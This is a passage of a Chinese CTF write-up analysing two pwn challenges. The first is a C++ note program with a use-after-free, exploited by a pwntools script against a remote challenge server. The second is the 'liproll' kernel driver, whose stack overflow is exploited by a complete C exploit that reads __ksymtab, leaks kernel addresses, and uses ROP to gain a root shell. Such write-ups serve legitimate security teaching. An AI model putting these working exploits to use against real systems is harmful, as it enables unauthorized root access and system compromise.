unsigned __int64 __fastcall NoteStorageImpl::backup(NoteStorageImpl *this) { __int64 v2; // [rsp+18h] [rbp-18h] BYREF char v3[8]; // [rsp+20h] [rbp-10h] BYREF unsigned __int64 v4; // [rsp+28h] [rbp-8h] v4 = __readfsqword(0x28u); if ( (unsigned __int8)std::unique_ptr<NoteDBImpl>::operator bool((char *)this + 16) != 1 ) { v2 = std::unique_ptr<NoteImpl>::get((__int64)this); std::make_unique<NoteDBImpl,NoteImpl *>(v3, &v2); std::unique_ptr<NoteDBImpl>::operator=((char *)this + 16, v3); std::unique_ptr<NoteDBImpl>::~unique_ptr(v3); } return __readfsqword(0x28u) ^ v4; }判断
NoteStorageImpl中的house->status是否为0,若为0则将member_1赋值给house->member。 - encourage:
__int64 __fastcall NoteStorageImpl::encourage(NoteStorageImpl *this) { NoteDBImpl *v1; // rax __int64 result; // rax __int64 v3; // rax if ( (unsigned __int8)std::unique_ptr<NoteDBImpl>::operator bool((char *)this + 16) )// judge if backed up { v1 = (NoteDBImpl *)std::unique_ptr<NoteDBImpl>::get((__int64)this + 16); result = NoteDBImpl::getEncourage(v1); } else { v3 = std::operator<<<std::char_traits<char>>(&std::cout, "You can not get encourage now!"); result = std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>); } return result; } __int64 __fastcall NoteDBImpl::getEncourage(NoteDBImpl *this) { __int64 result; // rax result = **((unsigned int **)this + 1); if ( (_DWORD)result ) result = (***((__int64 (__fastcall ****)(_QWORD))this + 1))(*((_QWORD *)this + 1)); return result; }在
house存在的情况下,且house->member以及house->member->func_get_encourage不为0,则调用相应的house->member->func_get_encourage函数。 - delHouse:
__int64 __fastcall NoteStorageImpl::delHouse(NoteStorageImpl *this) { NoteDBImpl *v1; // rax __int64 result; // rax __int64 v3; // rax if ( (unsigned __int8)std::unique_ptr<NoteDBImpl>::operator bool((char *)this + 16) )// judge if backed up { v1 = (NoteDBImpl *)std::unique_ptr<NoteDBImpl>::get((__int64)this + 16); NoteDBImpl::setdel(v1); result = std::unique_ptr<NoteImpl>::reset((__int64)this, 0LL); } else { v3 = std::operator<<<std::char_traits<char>>(&std::cout, "You can not delete now!"); result = std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>); } return result; } NoteDBImpl *__fastcall NoteDBImpl::setdel(NoteDBImpl *this) { NoteDBImpl *result; // rax result = this; *(_BYTE *)this = 1; return result; } __int64 __fastcall std::unique_ptr<NoteImpl>::reset(__int64 a1, __int64 a2) { __int64 v2; // rax __int64 result; // rax __int64 v4; // rax __int64 v5; // [rsp+0h] [rbp-10h] BYREF __int64 v6; // [rsp+8h] [rbp-8h] v6 = a1; v5 = a2; v2 = std::__uniq_ptr_impl<NoteImpl,std::default_delete<NoteImpl>>::_M_ptr(a1); std::swap<NoteImpl *>(v2, &v5); result = v5; if ( v5 ) { v4 = std::unique_ptr<NoteImpl>::get_deleter(v6); result = std::default_delete<NoteImpl>::operator()(v4, v5); } return result; }在
house存在的情况下,置house->status为1,并释放house->member内存空间以及置NoteStorageImpl->member_1为0。显然这里
house->member本身并没有置0,且delHouse和encourage也没有检查就使用了,显然存在uaf。 - show:
int __fastcall NoteStorageImpl::show(NoteStorageImpl *this) { NoteDBImpl *v1; // rax int result; // eax __int64 v3; // rax if ( (unsigned __int8)std::unique_ptr<NoteDBImpl>::operator bool((char *)this + 16) ) { v1 = (NoteDBImpl *)std::unique_ptr<NoteDBImpl>::get((__int64)this + 16); result = NoteDBImpl::gift(v1); } else { v3 = std::operator<<<std::char_traits<char>>(&std::cout, "NO!"); result = std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>); } return result; } int __fastcall NoteDBImpl::gift(NoteDBImpl *this) { int result; // eax result = *(unsigned __int8 *)this; if ( (_BYTE)result ) result = puts(*((const char **)this + 1)); return result; }在
backup并且delHouse之后(即house->status = 1),调用此函数可以打印出house->member内容。
- NoteStorageImpl:
- 根据以上分析,可以发现,当依次调用了
backup和delHouse功能后,虽然NoteStorageImpl->member_1 = 0且空间被释放,但是NoteStorageImpl->house->member却没有清空;于是只要再把这块空间malloc出来,就可以通过show把该块chunk中残留的一些指针leak出来,同时如果把该NoteImpl->func_get_encourage给劫持成onegadget,再调用就可以getshell了。 - 其实题目也有些小提示,比如特意在
NoteImpl结构体中offset = 0x1b8的位置留了一个malloc的地址可以用来leak libc,在offset = 0x1a0的地方留一个vector结构体可以用来leak heap。 - 整个利用思路如下:
- 首先依次调用
backup和delHouse,将member_1给释放掉;此时tcache中存在一个size = 0x350的chunk,接下来利用就是围绕这个chunk。 - 调用
editHouse(此时不clear),写入0x1a0字节的数据,由于实际是通过不断地push_back写入的,所以最终会得到一个size = 0x290的chunk。 - 调用
save,触发对上述提到的chunk进行shrink_to_fit,从而将0x290的chunk释放掉,得到一个size = 0x1b0的chunk。 - 继续进行
editHouse,继续push_back写入0x10个字节数据,因为push_back的过程中,vector的size会不断增大,从而最终超过该chunk的size,vector就会进行倍增,从而malloc出一个size = 0x350的chunk,也就是拿到了NoteStorageImpl->member_1(或NoteStorageImpl->house->member)所在的chunk;这样再通过show就能leak出紧跟在后面的heap和malloc的地址。 - 最后调用
editHouse,并clear掉vector,即后续push_back会从chunk头开始,这样就可以覆盖house->member->func_get_encourage = onegadget。 - 调用
encourage功能,触发onegadget。
- 首先依次调用
- exp:
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import sys, os, re context(arch='amd64', os='linux', log_level='debug') p = remote('106.14.216.214', 27972) p.sendlineafter(">> ", "3") p.sendlineafter(">> ", "5") p.sendlineafter(">> ", "1") p.sendlineafter("Do you want to clear it?(y/N)", "n") p.sendlineafter("content(q to quit):", "A" * 0x1A0 + "q") p.sendlineafter(">> ", "2") p.sendlineafter(">> ", "1") p.sendlineafter("Do you want to clear it?(y/N)", "n") p.sendlineafter("content(q to quit):", "A" * 8 + "heapaddr" + "q") p.sendlineafter(">> ", "6") p.recvuntil("heapaddr") heap_base = u64(p.recv(6).ljust(8, "\x00")) - 0x121e5 p.sendlineafter(">> ", "1") p.sendlineafter("Do you want to clear it?(y/N)", "n") p.sendlineafter("content(q to quit):", "libcaddr" + "q") p.sendlineafter(">> ", "6") p.recvuntil("libcaddr") libc_base = u64(p.recv(6).ljust(8, "\x00")) - libc.sym['malloc'] p.sendlineafter(">> ", "1") p.sendlineafter("Do you want to clear it?(y/N)", "y") p.sendlineafter("content(q to quit):", p64(heap_base + 0x11e98) + p64(libc_base + 0x10a41c) + 'q') p.sendlineafter(">> ", "4") success("libc_base: " + hex(libc_base)) success("heap_base: " + hex(heap_base)) p.interactive()
liproll
- 首先解包rootfs,查看init:
#!/bin/sh mount -t proc proc /proc mount -t sysfs sysfs /sys mount -t devtmpfs none /dev mkdir -p /dev/pts mount -vt devpts -o gid=4,mode=620 none /dev/pts chmod 666 /dev/ptmx echo 1 > /proc/sys/kernel/kptr_restrict echo 1 > /proc/sys/kernel/dmesg_restrict chown -R root:root /bin /usr /root echo "flag{this_is_a_test_flag}" > /root/flag chmod -R 400 /root chmod -R o-r /proc/kallsyms chmod -R 755 /bin /usr cat /root/banner insmod /liproll.ko chmod 777 /dev/liproll setsid /bin/cttyhack setuidgid 1000 /bin/sh echo 'sh end!\n' poweroff -d 1800000 -f & umount /proc umount /sys poweroff -d 0 -f可以看出加载了一个名为liproll的driver,并且dmesg信息和/proc/kallsyms都不可读。
从run.sh:
#!/bin/sh qemu-system-x86_64 \ -kernel ./bzImage \ -append "console=ttyS0 root=/dev/ram rw oops=panic panic=1 quiet kaslr" \ -initrd ./rootfs.cpio \ -nographic \ -m 2G \ -smp cores=2,threads=2,sockets=1 \ -monitor /dev/null \可以知道开启了kaslr保护。
- 从rootfs中拿出liproll.ko分析,关键函数有:
- liproll_unlocked_ioctl:
__int64 __fastcall liproll_unlocked_ioctl(__int64 a1, unsigned int a2, __int64 a3) { __int64 result; // rax if ( a2 == 0xD3C7F03 ) { create_a_spell(); result = 0LL; } else if ( a2 > 0xD3C7F03 ) { if ( a2 != 0xD3C7F04 ) return 0LL; choose_a_spell(a3); result = 0LL; } else { if ( a2 != 0xD3C7F01 ) { if ( a2 == 0xD3C7F02 ) { global_buffer = 0LL; *(&global_buffer + 1) = 0LL; } return 0LL; } cast_a_spell(a3); result = 0LL; } return result; }可以通俗地理解为菜单,提供了create,cast,choose,reset功能,其中:
- create:
__int64 create_a_spell() { __int64 v0; // rax __int64 v1; // rbx __int64 result; // rax v0 = 0LL; while ( 1 ) { v1 = (int)v0; if ( !lists[v0] ) break; if ( ++v0 == 0x10 ) return printk("[-] Full!\n"); } result = kmem_cache_alloc_trace(kmalloc_caches[8], 0xCC0LL, 0x100LL); if ( !result ) return create_a_spell_cold(); lists[v1] = result; return result; }简单地通过kmalloc申请一个0x100的chunk,存在
list数组里(这里kmem_cache_alloc_trace(kmalloc_caches[8], 0xCC0LL, 0x100LL);个人认为可能是被优化了,行为上应该等价于kmalloc(0x100),不过不是很重要。 - choose:
void *__fastcall choose_a_spell(unsigned int *a1) { __int64 v1; // rax void *result; // rax v1 = *a1; if ( (unsigned int)v1 > 0xFF ) return (void *)choose_a_spell_cold(); result = (void *)lists[v1]; if ( !result ) return (void *)choose_a_spell_cold(); global_buffer = result; *((_DWORD *)&global_buffer + 2) = 0x100; return result; }把
list数组中,给定下标中存在的指针赋值给global_buffer,并且把*((_DWORD *)&global_buffer + 2)(其实就是size)设置为0x100。显然这里下标是来源于用户程序可控的,且判断只需要小于0x100,
list本身容量就是0x10,显然存在溢出。 - reset:
global_buffer = 0LL; *(&global_buffer + 1) = 0LL;清空
global_buffer并且设置size = 0。 - cast:
unsigned __int64 __fastcall cast_a_spell(__int64 *a1) { unsigned int v1; // eax int v2; // edx __int64 v3; // rsi _BYTE v5[256]; // [rsp+0h] [rbp-120h] BYREF void *v6; // [rsp+100h] [rbp-20h] int v7; // [rsp+108h] [rbp-18h] unsigned __int64 v8; // [rsp+110h] [rbp-10h] v8 = __readgsqword(0x28u); if ( !global_buffer ) return cast_a_spell_cold(); v6 = global_buffer; v1 = *((_DWORD *)a1 + 2); v2 = 0x100; v3 = *a1; if ( v1 <= 0x100 ) v2 = *((_DWORD *)a1 + 2); v7 = v2; if ( !copy_from_user(v5, v3, v1) ) { memcpy(global_buffer, v5, *((unsigned int *)a1 + 2)); global_buffer = v6; *((_DWORD *)&global_buffer + 2) = v7; } return __readgsqword(0x28u) ^ v8; }这里
*((_DWORD *)a1 + 2);是来自于用户程序的,且copy_from_user的size参数正好来自于*((_DWORD *)a1 + 2);,而没有检查,所以存在stack overflow。这样,
v6和v7的值都可以被覆盖,也就是说glabal_buffer和size都是完全可控的。
- create:
- read:
__int64 __fastcall liproll_read(__int64 a1, __int64 a2, __int64 a3) { _QWORD v5[35]; // [rsp+0h] [rbp-118h] BYREF v5[32] = __readgsqword(0x28u); if ( global_buffer ) { if ( (unsigned __int64)global_buffer >= vmlinux_base + 0x12EE908 && (unsigned __int64)global_buffer < vmlinux_base + 0x13419A0 ) { return liproll_read_cold(); } memcpy(v5, global_buffer, *((unsigned int *)&global_buffer + 2)); if ( !copy_to_user(a2, v5, a3) ) return a3; } return -1LL; }可以注意到这里的
memcpy,在*((unsigned int *)&global_buffer + 2)可控的情况下,同样存在溢出;也可以通过设置size = 0,或者放大a3参数的值,leak出栈上的数据。 - write:
__int64 __fastcall liproll_write(__int64 a1, __int64 a2, unsigned __int64 a3) { __int64 v3; // rbx _BYTE *v4; // rcx char *v5; // rdi _QWORD v7[35]; // [rsp+0h] [rbp-118h] BYREF v7[32] = __readgsqword(0x28u); if ( !global_buffer ) return -1LL; v3 = 256LL; if ( a3 <= 0x100 ) v3 = a3; if ( copy_from_user(v7, a2, v3) ) return -1LL; v4 = global_buffer; if ( (unsigned int)v3 < 8 ) { if ( (v3 & 4) != 0 ) { *(_DWORD *)global_buffer = v7[0]; *(_DWORD *)&v4[(unsigned int)v3 - 4] = *(_DWORD *)((char *)v7 + (unsigned int)v3 - 4); } else if ( (_DWORD)v3 ) { *(_BYTE *)global_buffer = v7[0]; if ( (v3 & 2) != 0 ) *(_WORD *)&v4[(unsigned int)v3 - 2] = *(_WORD *)((char *)v7 + (unsigned int)v3 - 2); } } else { v5 = (char *)(((unsigned __int64)global_buffer + 8) & 0xFFFFFFFFFFFFFFF8LL); *(_QWORD *)global_buffer = v7[0]; *(_QWORD *)&v4[(unsigned int)v3 - 8] = *(_QWORD *)((char *)&v7[-1] + (unsigned int)v3); qmemcpy(v5, (char *)v7 - (v4 - v5), 8LL * ((unsigned int)(v3 + (_DWORD)v4 - (_DWORD)v5) >> 3)); } return v3; }这个函数就是向
global_buffer里写入数据。
- liproll_unlocked_ioctl:
- 其次调试的过程中发现,这里的
kaslr和用户态程序的aslr不太一样,不论是liproll模块的相关的函数地址,还是kernel的一些内核函数,都不是简单的相对于base address有一个固定的偏移,而近乎是完全随机的感觉;比如对于liproll模块:/ $ cat /sys/module/liproll/sections/. ../ .text.cast_a_spell ./ .text.check_bound .bss .text.choose_a_spell .data .text.create_a_spell .exit.text .text.liproll_open .gnu.linkonce.this_module .text.liproll_read .init.text .text.liproll_release .note.Linux .text.liproll_unlocked_ioctl .note.gnu.build-id .text.liproll_write .orc_unwind .text.reset_the_spell .orc_unwind_ip .text.unlikely.cast_a_spell .rodata.str1.1 .text.unlikely.choose_a_spell .rodata.str1.8 .text.unlikely.create_a_spell .strtab .text.unlikely.liproll_read .symtab每个函数都有独立的section,而这些section实际加载的地址都是不可预测的(当然section和section之间的相对偏移可能是有一定的预测性的,比如.bss和.data section相差0x4c0就是固定的,后面利用会用到这点)。
同样的,从bzImage中提取出vmlinux分析,也可以发现,存在着类似的.text.func_name的section,使得
prepare_kernel_cred和commit_creds偏移不是相对vmlinux_base固定;但是像liproll_open中通过copy_page函数地址算出vmlinux_base的时候,减去固定偏移,可以看出copy_page的偏移是固定的,同时vmlinux文件中不存在.text.copy_page的section。 - 其次,在
liproll_read这里,有一个check,即:if ( (unsigned __int64)global_buffer >= vmlinux_base + 0x12EE908 && (unsigned __int64)global_buffer < vmlinux_base + 0x13419A0 ) { return liproll_read_cold(); }那么
vmlinux_base + 0x12EE908 ~ vmlinux_base + 0x13419A0这部分内存就显得很可疑,调试中发现,这部分内存正好是__ksymtab,__ksmtab_gpl和ksymtab_strings这三个section。重点在于,
__ksymtab这个section,相当于一个size=0xC的结构体的数组,前4 bytes表示函数地址的偏移,中间4 bytes表示函数名的偏移,最后4 bytes也是偏移:__ksymtab:FFFFFFFF822EE908 __ksymtab segment dword public 'CONST' use64 __ksymtab:FFFFFFFF822EE908 assume cs:__ksymtab __ksymtab:FFFFFFFF822EE908 ;org 0FFFFFFFF822EE908h __ksymtab:FFFFFFFF822EE908 ; struct func_struct _ksymtab_array[5944] __ksymtab:FFFFFFFF822EE908 __ksymtab_array dd 0FF15CB08h, 207DFh, 314F1h __ksymtab:FFFFFFFF822EE908 ; DATA XREF: sub_FFFFFFFF81505000+11C↑o __ksymtab:FFFFFFFF822EE908 ; sub_FFFFFFFF81505000+123↑o ... __ksymtab:FFFFFFFF822EE908 dd 0FF331E4Ch, 29490h, 314E5h __ksymtab:FFFFFFFF822EE908 dd 0FF4EC780h, 30040h, 314D9h __ksymtab:FFFFFFFF822EE908 dd 0FF4ED4F4h, 30079h, 314CDh __ksymtab:FFFFFFFF822EE908 dd 0FF4ED4C8h, 300A8h, 314C1h __ksymtab:FFFFFFFF822EE908 dd 0FF4EBE5Ch, 2FFECh, 314B5h __ksymtab:FFFFFFFF822EE908 dd 0FF4EE630h, 30038h, 314A9h __ksymtab:FFFFFFFF822EE908 dd 0FF4EC284h, 2FFE8h, 3149Dh __ksymtab:FFFFFFFF822EE908 dd 0FF4EEDA8h, 3005Ah, 31491h __ksymtab:FFFFFFFF822EE908 dd 0FF4EBDFCh, 30000h, 31485h __ksymtab:FFFFFFFF822EE908 dd 0FF377750h, 2A291h, 31479h __ksymtab:FFFFFFFF822EE908 dd 0FF2A8794h, 26BC4h, 3146Dh __ksymtab:FFFFFFFF822EE908 dd 0FF2A7538h, 26BB1h, 31461h __ksymtab:FFFFFFFF822EE908 dd 0FF2A751Ch, 26B94h, 31455h __ksymtab:FFFFFFFF822EE908 dd 0FF982850h, 48936h, 31449h __ksymtab:FFFFFFFF822EE908 dd 0FF5000A4h, 30CC7h, 3143Dh __ksymtab:FFFFFFFF822EE908 dd 0FF4D9CF8h, 2F487h, 31431h __ksymtab:FFFFFFFF822EE908 dd 0FF4C3EDCh, 2E471h, 31425h __ksymtab:FFFFFFFF822EE908 dd 0FF2CF4C0h, 270CDh, 31419h __ksymtab:FFFFFFFF822EE908 dd 0FF97BA04h, 48682h, 3140Dh __ksymtab:FFFFFFFF822EE908 dd 0FF32DE88h, 2912Bh, 31401h __ksymtab:FFFFFFFF822EE908 dd 0FF4AA3DCh, 2D565h, 313F5h __ksymtab:FFFFFFFF822EE908 dd 0FF4CF520h, 2E8E4h, 313E9h __ksymtab:FFFFFFFF822EE908 dd 0FF4CF5E4h, 2E8FEh, 313DDh __ksymtab:FFFFFFFF822EE908 dd 0FF4CF7E8h, 2E954h, 313D1h __ksymtab:FFFFFFFF822EE908 dd 0FF4CF4CCh, 2E878h, 313C5h __ksymtab:FFFFFFFF822EE908 dd 0FF4CF450h, 2E85Dh, 313B9h __ksymtab:FFFFFFFF822EE908 dd 0FF4CF664h, 2E8EFh, 313ADh __ksymtab:FFFFFFFF822EE908 dd 0FF4CF548h, 2E8A9h, 313A1h __ksymtab:FFFFFFFF822EE908 dd 0FF4CF60Ch, 2E8C6h, 31395h __ksymtab:FFFFFFFF822EE908 dd 0FF4CF720h, 2E8FFh, 31389h __ksymtab:FFFFFFFF822EE908 dd 0FF4CFB94h, 2E859h, 3137Dh __ksymtab:FFFFFFFF822EE908 dd 0FF4CFA78h, 2E838h, 31371h __ksymtab:FFFFFFFF822EE908 dd 0FF4CF68Ch, 2E8BBh, 31365h比如第一项
dd 0FF331E4Ch, 29490h, 314E5h,计算出(0x822EE908 + 0xFF15CB08C) & ((1 << 32) - 1) | (0xFFFFFFFF << 32) = 0xffffffff8144b410;以及(0x822EE90C + 0x207DF) & ((1 << 32) - 1) | (0xFFFFFFFF << 32) = 0xffffffff8230f0eb:.text.IO_APIC_get_PCI_irq_vector:FFFFFFFF8144B410 ; FUNCTION CHUNK AT __ksymtab_strings:FFFFFFFF8230F0EB aIoApicGetPciIr db 'IO_APIC_get_PCI_irq_vector',0说明这就是个符号表,如果能够便利符号表查找
prepare_kernel_cred和commit_creds的地址,那么问题就简单了。 - 那么整个利用思路为:
- 首先利用
liproll_read把canary给leak出来 - 然后利用
cast_a_spell功能存在的溢出,把global_buffer覆盖为任意非0值,以及*((_DWORD *)&global_buffer + 2)覆盖为0。 - 之后调用
liproll_read的时候,由于memcpy(v5, global_buffer, *((unsigned int *)&global_buffer + 2));参数中size = 0,所以相当于没有执行,就能把栈上的残留数据leak出来;调试过程中发现leak出来的数据中,通过偏移为0x18的数据,可以得到liproll模块.data section的起始地址,即uint64_t _data_sec = ((*(uint64_t *)(buf + 0x18) >> 12) << 12) + 0x2000;,其次.bss section和.data section的偏移固定,为0x4c0,同样可以计算出.bss section的起始地址:uint64_t _bss_sec = _data_sec + 0x4C0;。 - 那么获得了.bss section的地址后,就能继续利用
cast_a_spell存在的栈溢出,把global_buffer指向.bss上vmlinux_base的位置,这样就把vmlinux加载基址给leak出来了;于此同时,可以通过liproll_write将其覆盖为0,绕过之后调用liproll_read中的check:if ( (unsigned __int64)global_buffer >= vmlinux_base + 0x12EE908 && (unsigned __int64)global_buffer < vmlinux_base + 0x13419A0 ) - 通过不断地利用
cast_a_spell中的栈溢出修改global_buffer,遍历__ksymtab,找到prepare_kernel_cred和commit_creds的地址。 - 最后只要构造rop提权即可,因为并没有开启smep保护,所以gadget可以在用户态程序中构造。
- 首先利用
- exp:
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <inttypes.h> #include <fcntl.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <string.h> #define CMD_CREATE 0xD3C7F03 #define CMD_CHOOSE 0xD3C7F04 #define CMD_RESET 0xD3C7F02 #define CMD_CAST 0xD3C7F01 struct liproll { void *ptr; uint32_t size; }; void die(const char *msg) { perror(msg); exit(-1); } uint64_t prepare_kernel_cred; uint64_t commit_creds; uint64_t user_cs, user_ss, user_sp, user_rflags; void save_status() { __asm( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf("[*] Status saved\n"); } void privilege_escalation() { void *(*pkc)(void *) = (void *)prepare_kernel_cred; void *(*cc)(void *) = (void *)commit_creds; (*cc)((*pkc)(0)); } void getshell() { if(getuid() == 0) { printf("[!] Root!\n"); system("/bin/sh"); } else { printf("[!] Failed!\n"); } } void swapgs() { asm( "swapgs;" "iretq;" ); } void sub_rsp() { asm( "sub rsp, 0x128;" "ret;" ); } int main(void) { uint32_t idx = 0; char buf[0x200] = {0}; int fd = open("/dev/liproll", O_RDWR); if(fd < 0) die("open error"); // leak canary ioctl(fd, CMD_CREATE); ioctl(fd, CMD_CHOOSE, &idx); read(fd, buf, 0x180); uint64_t canary = *(uint64_t *)(buf + 0x100); printf("[+] canary is: %p\n", canary); // overwrite global_buffer = 0xdeadbeef // overwrite global_buffer size = 0x0 memset(buf, 0, 0x200); *(uint64_t *)(buf + 0x100) = 0xdeadbeef; *(uint32_t *)(buf + 0x108) = 0; struct liproll tmp = { .ptr = buf, .size = 0x110 }; ioctl(fd, CMD_CAST, &tmp); // leak .data and .bss section read(fd, buf, 0x200); uint64_t _data_sec = ((*(uint64_t *)(buf + 0x18) >> 12) << 12) + 0x2000; uint64_t _bss_sec = _data_sec + 0x4C0; printf("[+] .data section address is: %p\n", _data_sec); printf("[+] .bss section address is: %p\n", _bss_sec); // leak vmlinux_base *(uint64_t *)(buf + 0x100) = _bss_sec + 0x80; *(uint32_t *)(buf + 0x108) = 8; tmp.ptr = buf; tmp.size = 0x110; ioctl(fd, CMD_CHOOSE, &idx); ioctl(fd, CMD_CAST, &tmp); read(fd, buf, 8); uint64_t vmlinux_base = *(uint64_t *)buf; printf("[+] vmlinux base is: %p\n", vmlinux_base); // overwrite vmlinux_base = 0 to bypass liproll_read check *(uint64_t *)buf = 0; write(fd, buf, 8); // find commit_creds and prepare_kernel_cred in __ksymtab uint64_t __ksymtab_start = vmlinux_base + 0x12EE908; printf("[+] __ksymtab_start address is: %p\n", __ksymtab_start); int i, j; int found_commit_creds = 0, found_prepare_kernel_cred = 0; int found_do_sync_core = 0, found_intel_pmu_save_and_restart = 0; for(i = 0; i < 0x12000; i += 0xFC){ char accept_buf[0x100]; uint64_t base_addr = __ksymtab_start + i; *(uint64_t *)(buf + 0x100) = base_addr; *(uint32_t *)(buf + 0x108) = 0xFC; ioctl(fd, CMD_CHOOSE, &idx); ioctl(fd, CMD_CAST, &tmp); read(fd, accept_buf, 0xFC); for(j = 0; j < 0xFC; j += 0xC) { char name_buf[0x100]; uint32_t func_offset = *(uint32_t *)(accept_buf + j); uint32_t name_offset = *(uint32_t *)(accept_buf + j + 4); uint64_t func_addr = ((uint32_t)base_addr + func_offset + j) | (0xffffffffull << 32); uint64_t name_addr = base_addr + name_offset + j + 4; *(uint64_t *)(buf + 0x100) = name_addr; *(uint32_t *)(buf + 0x108) = 0x20; ioctl(fd, CMD_CHOOSE, &idx); ioctl(fd, CMD_CAST, &tmp); read(fd, name_buf, 0x20); if(memcmp(name_buf, "commit_creds", 0xC) == 0) { printf("[+] found commit_creds address is: %p\n", func_addr); found_commit_creds = 1; commit_creds = func_addr; } else if(memcmp(name_buf, "prepare_kernel_cred", 0x13) == 0) { printf("[+] found prepare_kernel_cred address is: %p\n", func_addr); found_prepare_kernel_cred = 1; prepare_kernel_cred = func_addr; } if(found_prepare_kernel_cred && found_commit_creds) break; } } save_status(); // rop *(uint64_t *)(buf + 0x110) = canary; *(uint64_t *)(buf + 0x120) = &sub_rsp + 8; *(uint64_t *)(buf + 0x0) = &privilege_escalation; *(uint64_t *)(buf + 0x8) = &swapgs + 8; *(uint64_t *)(buf + 0x10) = &getshell; *(uint64_t *)(buf + 0x18) = user_cs; *(uint64_t *)(buf + 0x20) = user_rflags; *(uint64_t *)(buf + 0x28) = user_sp; *(uint64_t *)(buf + 0x30) = user_ss; tmp.size = 0x128; ioctl(fd, CMD_CHOOSE, &idx); ioctl(fd, CMD_CAST, &tmp); return 0; } - 简单提一下自己踩的坑:
- 打印栈上残留的数据的时候,发现实际运行和调试的时候,得到的数据是不一样的,这里卡了很久;后面直接就不挂调试,而是直接dump栈上的数据,然后找有用的地址。
- 最后写rop的时候,内核栈放不下最后会crash,所以做一个小小的栈迁移;不过既然任何gadgets都可以在用户程序中构造,也很方便。
- 因为gadget是封装在用户态程序的函数体中的,所以需要跳过函数头才能直接执行到gadget本身,否则会有
push rbp的执行。
